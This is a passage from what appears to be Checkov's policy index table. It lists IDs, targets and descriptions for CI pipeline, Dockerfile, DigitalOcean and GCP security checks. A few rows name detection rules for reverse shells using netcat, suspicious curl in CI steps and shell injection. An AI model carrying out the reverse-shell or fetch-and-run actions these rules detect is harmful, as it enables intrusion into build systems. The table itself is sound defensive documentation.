bitbucket_pipelines | pipelines.default[].step.{image: image, __startline__: __startline__, __endline__:__endline__} | Ensure the pipeline image uses a non latest version tag | bitbucket_pipelines | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket_pipelines/checks/latest_image.py) | | 6338 | CKV_CIRCLECIPIPELINES_1 | circleci_pipelines | jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__} | Ensure the pipeline image uses a non latest version tag | circleci_pipelines | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/latest_image.py) | | 6339 | CKV_CIRCLECIPIPELINES_2 | circleci_pipelines | jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__} | Ensure the pipeline image version is referenced via hash not arbitrary tag. | circleci_pipelines | [image_version_not_hash.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/image_version_not_hash.py) | | 6340 | CKV_CIRCLECIPIPELINES_3 | circleci_pipelines | orbs.{orbs: @} | Ensure mutable development orbs are not used. | circleci_pipelines | [prevent_development_orbs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/prevent_development_orbs.py) | | 6341 | CKV_CIRCLECIPIPELINES_4 | circleci_pipelines | orbs.{orbs: @} | Ensure unversioned volatile orbs are not used. | circleci_pipelines | [prevent_volatile_orbs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/prevent_volatile_orbs.py) | | 6342 | CKV_CIRCLECIPIPELINES_5 | circleci_pipelines | jobs.*.steps[] | Suspicious use of netcat with IP address | circleci_pipelines | [ReverseShellNetcat.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/ReverseShellNetcat.py) | | 6343 | CKV_CIRCLECIPIPELINES_6 | circleci_pipelines | jobs.*.steps[] | Ensure run commands are not vulnerable to shell injection | circleci_pipelines | [ShellInjection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/ShellInjection.py) | | 6344 | CKV_CIRCLECIPIPELINES_7 | circleci_pipelines | jobs.*.steps[] | Suspicious use of curl in run task | circleci_pipelines | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/SuspectCurlInScript.py) | | 6345 | CKV_CIRCLECIPIPELINES_8 | circleci_pipelines | executors.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__} | Detecting image usages in circleci pipelines | circleci_pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/DetectImagesUsage.py) | | 6346 | CKV_CIRCLECIPIPELINES_8 | circleci_pipelines | jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__} | Detecting image usages in circleci pipelines | circleci_pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/DetectImagesUsage.py) | | 6347 | CKV_DIO_1 | resource | digitalocean_spaces_bucket | Ensure the Spaces bucket has versioning enabled | Terraform | [SpacesBucketVersioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/SpacesBucketVersioning.py) | | 6348 | CKV_DIO_2 | resource | digitalocean_droplet | Ensure the droplet specifies an SSH key | Terraform | [DropletSSHKeys.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/DropletSSHKeys.py) | | 6349 | CKV_DIO_3 | resource | digitalocean_spaces_bucket | Ensure the Spaces bucket is private | Terraform | [SpacesBucketPublicRead.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/SpacesBucketPublicRead.py) | | 6350 | CKV_DIO_4 | resource | digitalocean_firewall | Ensure the firewall ingress is not wide open | Terraform | [FirewallIngressOpen.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/digitalocean/FirewallIngressOpen.py) | | 6351 | CKV_DOCKER_1 | dockerfile | EXPOSE | Ensure port 22 is not exposed | dockerfile | [ExposePort22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/ExposePort22.py) | | 6352 | CKV_DOCKER_2 | dockerfile | * | Ensure that HEALTHCHECK instructions have been added to container images | dockerfile | [HealthcheckExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/HealthcheckExists.py) | | 6353 | CKV_DOCKER_3 | dockerfile | * | Ensure that a user for the container has been created | dockerfile | [UserExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/UserExists.py) | | 6354 | CKV_DOCKER_4 | dockerfile | ADD | Ensure that COPY is used instead of ADD in Dockerfiles | dockerfile | [AddExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/AddExists.py) | | 6355 | CKV_DOCKER_5 | dockerfile | RUN | Ensure update instructions are not use alone in the Dockerfile | dockerfile | [UpdateNotAlone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/UpdateNotAlone.py) | | 6356 | CKV_DOCKER_6 | dockerfile | MAINTAINER | Ensure that LABEL maintainer is used instead of MAINTAINER (deprecated) | dockerfile | [MaintainerExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/MaintainerExists.py) | | 6357 | CKV_DOCKER_7 | dockerfile | FROM | Ensure the base image uses a non latest version tag | dockerfile | [ReferenceLatestTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/ReferenceLatestTag.py) | | 6358 | CKV_DOCKER_8 | dockerfile | USER | Ensure the last USER is not root | dockerfile | [RootUser.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/RootUser.py) | | 6359 | CKV_DOCKER_9 | dockerfile | RUN | Ensure that APT isn't used | dockerfile | [RunUsingAPT.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/RunUsingAPT.py) | | 6360 | CKV_DOCKER_10 | dockerfile | WORKDIR | Ensure that WORKDIR values are absolute paths | dockerfile | [WorkdirIsAbsolute.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/WorkdirIsAbsolute.py) | | 6361 | CKV_DOCKER_11 | dockerfile | FROM | Ensure From Alias are unique for multistage builds. | dockerfile | [AliasIsUnique.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/AliasIsUnique.py) | | 6362 | CKV2_DOCKER_1 | resource | RUN | Ensure that sudo isn't used | dockerfile | [RunUsingSudo.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunUsingSudo.yaml) | | 6363 | CKV2_DOCKER_2 | resource | RUN | Ensure that certificate validation isn't disabled with curl | dockerfile | [RunUnsafeCurl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunUnsafeCurl.yaml) | | 6364 | CKV2_DOCKER_3 | resource | RUN | Ensure that certificate validation isn't disabled with wget | dockerfile | [RunUnsafeWget.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunUnsafeWget.yaml) | | 6365 | CKV2_DOCKER_4 | resource | RUN | Ensure that certificate validation isn't disabled with the pip '--trusted-host' option | dockerfile | [RunPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunPipTrustedHost.yaml) | | 6366 | CKV2_DOCKER_5 | resource | ARG | Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable | dockerfile | [EnvPythonHttpsVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml) | | 6367 | CKV2_DOCKER_5 | resource | ENV | Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable | dockerfile | [EnvPythonHttpsVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml) | | 6368 | CKV2_DOCKER_5 | resource | RUN | Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable | dockerfile | [EnvPythonHttpsVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml) | | 6369 | CKV2_DOCKER_6 | resource | ARG | Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable | dockerfile | [EnvNodeTlsRejectUnauthorized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml) | | 6370 | CKV2_DOCKER_6 | resource | ENV | Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable | dockerfile | [EnvNodeTlsRejectUnauthorized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml) | | 6371 | CKV2_DOCKER_6 | resource | RUN | Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable | dockerfile | [EnvNodeTlsRejectUnauthorized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml) | | 6372 | CKV2_DOCKER_7 | resource | RUN | Ensure that packages with untrusted or missing signatures are not used by apk via the '--allow-untrusted' option | dockerfile | [RunApkAllowUntrusted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunApkAllowUntrusted.yaml) | | 6373 | CKV2_DOCKER_8 | resource | RUN | Ensure that packages with untrusted or missing signatures are not used by apt-get via the '--allow-unauthenticated' option | dockerfile | [RunAptGetAllowUnauthenticated.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunAptGetAllowUnauthenticated.yaml) | | 6374 | CKV2_DOCKER_9 | resource | RUN | Ensure that packages with untrusted or missing GPG signatures are not used by dnf, tdnf, or yum via the '--nogpgcheck' option | dockerfile | [RunYumNoGpgCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunYumNoGpgCheck.yaml) | | 6375 | CKV2_DOCKER_10 | resource | RUN | Ensure that packages with untrusted or missing signatures are not used by rpm via the '--nodigest', '--nosignature', '--noverify', or '--nofiledigest' options | dockerfile | [RunRpmNoSignature.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunRpmNoSignature.yaml) | | 6376 | CKV2_DOCKER_11 | resource | RUN | Ensure that the '--force-yes' option is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | dockerfile | [RunAptGetForceYes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunAptGetForceYes.yaml) | | 6377 | CKV2_DOCKER_12 | resource | ARG | Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable | dockerfile | [EnvNpmConfigStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml) | | 6378 | CKV2_DOCKER_12 | resource | ENV | Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable | dockerfile | [EnvNpmConfigStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml) | | 6379 | CKV2_DOCKER_12 | resource | RUN | Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable | dockerfile | [EnvNpmConfigStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml) | | 6380 | CKV2_DOCKER_13 | resource | RUN | Ensure that certificate validation isn't disabled for npm or yarn by setting the option strict-ssl to false | dockerfile | [RunNpmConfigSetStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunNpmConfigSetStrictSsl.yaml) | | 6381 | CKV2_DOCKER_14 | resource | ARG | Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value | dockerfile | [EnvGitSslNoVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml) | | 6382 | CKV2_DOCKER_14 | resource | ENV | Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value | dockerfile | [EnvGitSslNoVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml) | | 6383 | CKV2_DOCKER_14 | resource | RUN | Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value | dockerfile | [EnvGitSslNoVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml) | | 6384 | CKV2_DOCKER_15 | resource | RUN | Ensure that the yum and dnf package managers are not configured to disable SSL certificate validation via the 'sslverify' configuration option | dockerfile | [RunYumConfigManagerSslVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunYumConfigManagerSslVerify.yaml) | | 6385 | CKV2_DOCKER_16 | resource | ARG | Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable | dockerfile | [EnvPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml) | | 6386 | CKV2_DOCKER_16 | resource | ENV | Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable | dockerfile | [EnvPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml) | | 6387 | CKV2_DOCKER_16 | resource | RUN | Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable | dockerfile | [EnvPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml) | | 6388 | CKV2_DOCKER_17 | resource | RUN | Ensure that 'chpasswd' is not used to set or remove passwords | dockerfile | [RunChpasswd.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunChpasswd.yaml) | | 6389 | CKV_GCP_1 | resource | google_container_cluster | Ensure Stackdriver Logging is set to Enabled on Kubernetes Engine Clusters | Terraform | [GKEClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEClusterLogging.py) | | 6390 | CKV_GCP_2 | resource | google_compute_firewall | Ensure Google compute firewall ingress does not allow unrestricted ssh access | Terraform | [GoogleComputeFirewallUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress22.py) | | 6391 | CKV_GCP_3 | resource | google_compute_firewall | Ensure Google compute firewall ingress does not allow unrestricted rdp access | Terraform | [GoogleComputeFirewallUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress3389.py) | | 6392 | CKV_GCP_4 | resource | google_compute_ssl_policy | Ensure no HTTPS or SSL proxy load balancers permit SSL policies with weak cipher suites | Terraform | [GoogleComputeSSLPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSSLPolicy.py) | | 6393 | CKV_GCP_6 | resource | google_sql_database_instance | Ensure all Cloud SQL database instance requires all incoming connections to use SSL | Terraform | [GoogleCloudSqlDatabaseRequireSsl.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlDatabaseRequireSsl.py) | | 6394 | CKV_GCP_7 | resource | google_container_cluster | Ensure Legacy Authorization is set to Disabled on Kubernetes Engine Clusters | Terraform | [GKEDisableLegacyAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEDisableLegacyAuth.py) | | 6395 | CKV_GCP_8 | resource | google_container_cluster | Ensure Stackdriver Monitoring is set to Enabled on Kubernetes Engine Clusters | Terraform | [GKEMonitoringEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMonitoringEnabled.py) | | 6396 | CKV_GCP_9 | resource | google_container_node_pool | Ensure 'Automatic node repair' is enabled for Kubernetes Clusters | Terraform | [GKENodePoolAutoRepairEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKENodePoolAutoRepairEnabled.py) | | 6397 | CKV_GCP_10 | resource | google_container_node_pool | Ensure 'Automatic node upgrade' is enabled for Kubernetes Clusters | Terraform | [GKENodePoolAutoUpgradeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKENodePoolAutoUpgradeEnabled.py) | | 6398 | CKV_GCP_11 | resource | google_sql_database_instance | Ensure that Cloud SQL database Instances are not open to the world | Terraform | [GoogleCloudSqlDatabasePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlDatabasePubliclyAccessible.py) | | 6399 | CKV_GCP_12 | resource | google_container_cluster | Ensure Network Policy is enabled on Kubernetes Engine Clusters | Terraform | [GKENetworkPolicyEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKENetworkPolicyEnabled.py) | | 6400 | CKV_GCP_13 | resource | google_container_cluster | Ensure client certificate authentication to Kubernetes Engine Clusters is disabled | Terraform | [GKEClientCertificateDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEClientCertificateDisabled.py) | | 6401 | CKV_GCP_14 | resource | google_sql_database_instance | Ensure all Cloud SQL database instance have backup configuration enabled | Terraform | [GoogleCloudSqlBackupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlBackupConfiguration.py) | | 6402 | CKV_GCP_15 | resource | google_bigquery_dataset | Ensure that BigQuery datasets are not anonymously or publicly accessible | Terraform | [GoogleBigQueryDatasetPublicACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleBigQueryDatasetPublicACL.py) | | 6403 | CKV_GCP_16 | resource | google_dns_managed_zone | Ensure that DNSSEC is enabled for Cloud DNS | Terraform | [GoogleCloudDNSSECEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudDNSSECEnabled.py) | | 6404 | CKV_GCP_17 | resource | google_dns_managed_zone | Ensure that RSASHA1 is not used for the zone-signing and key-signing keys in Cloud DNS DNSSEC | Terraform | [GoogleCloudDNSKeySpecsRSASHA1.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudDNSKeySpecsRSASHA1.py) | | 6405 | CKV_GCP_18 | resource | google_container_cluster | Ensure GKE Control Plane is not public | Terraform | [GKEPublicControlPlane.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPublicControlPlane.py) | | 6406 | CKV_GCP_20 | resource | google_container_cluster | Ensure master authorized networks is set to enabled in GKE clusters | Terraform | [GKEMasterAuthorizedNetworksEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMasterAuthorizedNetworksEnabled.py) | | 6407 | CKV_GCP_21 | resource | google_container_cluster | Ensure Kubernetes Clusters are configured with Labels | Terraform | [GKEHasLabels.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEHasLabels.py) | | 6408 | CKV_GCP_22 | resource | google_container_node_pool | Ensure Container-Optimized OS (cos) is used for Kubernetes Engine Clusters Node image | Terraform | [GKEUseCosImage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEUseCosImage.py) | | 6409 | CKV_GCP_23 | resource | google_container_cluster | Ensure Kubernetes Cluster is created with Alias IP ranges enabled | Terraform | [GKEAliasIpEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEAliasIpEnabled.py) | | 6410 | CKV_GCP_24 | resource | google_container_cluster | Ensure PodSecurityPolicy controller is enabled on the Kubernetes Engine Clusters | Terraform | [GKEPodSecurityPolicyEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPodSecurityPolicyEnabled.py) | | 6411 | CKV_GCP_25 | resource | google_container_cluster | Ensure Kubernetes Cluster is created with Private cluster enabled | Terraform | [GKEPrivateClusterConfig.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPrivateClusterConfig.py) | | 6412 | CKV_GCP_26 | resource | google_compute_subnetwork | Ensure that VPC Flow Logs is enabled for every subnet in a VPC Network | Terraform | [GoogleSubnetworkLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleSubnetworkLoggingEnabled.py) | | 6413 | CKV_GCP_27 | resource | google_project | Ensure that the default network does not exist in a project | Terraform | [GoogleProjectDefaultNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectDefaultNetwork.py) | | 6414 | CKV_GCP_28 | resource | google_storage_bucket_iam_binding | Ensure that Cloud Storage bucket is not anonymously or publicly accessible | Terraform | [GoogleStorageBucketNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStorageBucketNotPublic.py) | | 6415 | CKV_GCP_28 | resource | google_storage_bucket_iam_member | Ensure that Cloud Storage bucket is not anonymously or publicly accessible | Terraform | [GoogleStorageBucketNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStorageBucketNotPublic.py) | | 6416 | CKV_GCP_29 | resource | google_storage_bucket | Ensure that Cloud Storage buckets have uniform bucket-level access enabled | Terraform | [GoogleStorageBucketUniformAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStorageBucketUniformAccess.py) | | 6417 | CKV_GCP_30 | resource | google_compute_instance | Ensure that instances are not configured to use the default service account | Terraform | [GoogleComputeDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py) | | 6418 | CKV_GCP_30 | resource | google_compute_instance_from_template | Ensure that instances are not configured to use the default service account | Terraform | [GoogleComputeDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py) | | 6419 | CKV_GCP_30 | resource | google_compute_instance_template | Ensure that instances are not configured to use the default service account | Terraform | [GoogleComputeDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py) | | 6420 | CKV_GCP_31 | resource | google_compute_instance | Ensure that instances are not configured to use the default service account with full access to all Cloud APIs | Terraform | [GoogleComputeDefaultServiceAccountFullAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py) | | 6421 | CKV_GCP_31 | resource | google_compute_instance_from_template | Ensure that instances are not configured to use the default service account with full access to all Cloud APIs | Terraform | [GoogleComputeDefaultServiceAccountFullAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py) | | 6422 | CKV_GCP_31 | resource | google_compute_instance_template | Ensure that instances are not configured to use the default service account with full access to all Cloud APIs | Terraform | [GoogleComputeDefaultServiceAccountFullAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py) | | 6423 | CKV_GCP_32 | resource | google_compute_instance | Ensure 'Block Project-wide SSH keys' is enabled for VM instances | Terraform | [GoogleComputeBlockProjectSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py) | | 6424 | CKV_GCP_32 | resource | google_compute_instance_from_template | Ensure 'Block Project-wide SSH keys' is enabled for VM instances | Terraform | [GoogleComputeBlockProjectSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py) | | 6425 | CKV_GCP_32 | resource | google_compute_instance_template | Ensure 'Block Project-wide SSH keys' is enabled for VM instances | Terraform | [GoogleComputeBlockProjectSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py) | | 6426 | CKV_GCP_33 | resource | google_compute_project_metadata | Ensure oslogin is enabled for a Project | Terraform | [GoogleComputeProjectOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeProjectOSLogin.py) | | 6427 | CKV_GCP_34 | resource | google_compute_instance | Ensure that no instance in the project overrides the project setting for enabling OSLogin(OSLogin needs to be enabled in project metadata for all instances) | Terraform | [GoogleComputeInstanceOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py) | | 6428 | CKV_GCP_34 | resource | google_compute_instance_from_template | Ensure that no instance in the project overrides the project setting for enabling OSLogin(OSLogin needs to be enabled in project metadata for all instances) | Terraform | [GoogleComputeInstanceOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py) | | 6429 | CKV_GCP_34 | resource | google_compute_instance_template | Ensure that no instance in the project overrides the project setting for enabling OSLogin(OSLogin needs to be enabled in project metadata for all instances) | Terraform | [GoogleComputeInstanceOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py) | | 6430 | CKV_GCP_35 | resource | google_compute_instance | Ensure 'Enable connecting to serial ports' is not enabled for VM Instance | Terraform | [GoogleComputeSerialPorts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py) | | 6431 | CKV_GCP_35 | resource | google_compute_instance_from_template | Ensure 'Enable connecting to serial ports' is not enabled for VM Instance | Terraform | [GoogleComputeSerialPorts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py) | | 6432 | CKV_GCP_35 | resource | google_compute_instance_template | Ensure 'Enable connecting to serial ports' is not enabled for VM Instance | Terraform | [GoogleComputeSerialPorts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py) | | 6433 | CKV_GCP_36 | resource | google_compute_instance | Ensure that IP forwarding is not enabled on Instances | Terraform | [GoogleComputeIPForward.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py) | | 6434 | CKV_GCP_36 | resource | google_compute_instance_from_template | Ensure that IP forwarding is not enabled on Instances | Terraform | [GoogleComputeIPForward.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py) | | 6435 | CKV_GCP_36 | resource | google_compute_instance_template | Ensure that IP forwarding is not enabled on Instances | Terraform | [GoogleComputeIPForward.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py) | | 6436 | CKV_GCP_37 | resource | google_compute_disk | Ensure VM disks for critical VMs are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [GoogleComputeDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDiskEncryption.py) | | 6437 | CKV_GCP_38 | resource | google_compute_instance | Ensure VM disks for critical VMs are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [GoogleComputeBootDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBootDiskEncryption.py) | | 6438 | CKV_GCP_39 | resource | google_compute_instance | Ensure Compute instances are launched with Shielded VM enabled | Terraform | [GoogleComputeShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py) | | 6439 | CKV_GCP_39 | resource | google_compute_instance_from_template | Ensure Compute instances are launched with Shielded VM enabled | Terraform | [GoogleComputeShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py) | | 6440 | CKV_GCP_39 | resource | google_compute_instance_template | Ensure Compute instances are launched with Shielded VM enabled | Terraform | [GoogleComputeShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py) | | 6441 | CKV_GCP_40 | resource | google_compute_instance | Ensure that Compute instances do not have public IP addresses | Terraform | [GoogleComputeExternalIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py) | | 6442 | CKV_GCP_40 | resource | 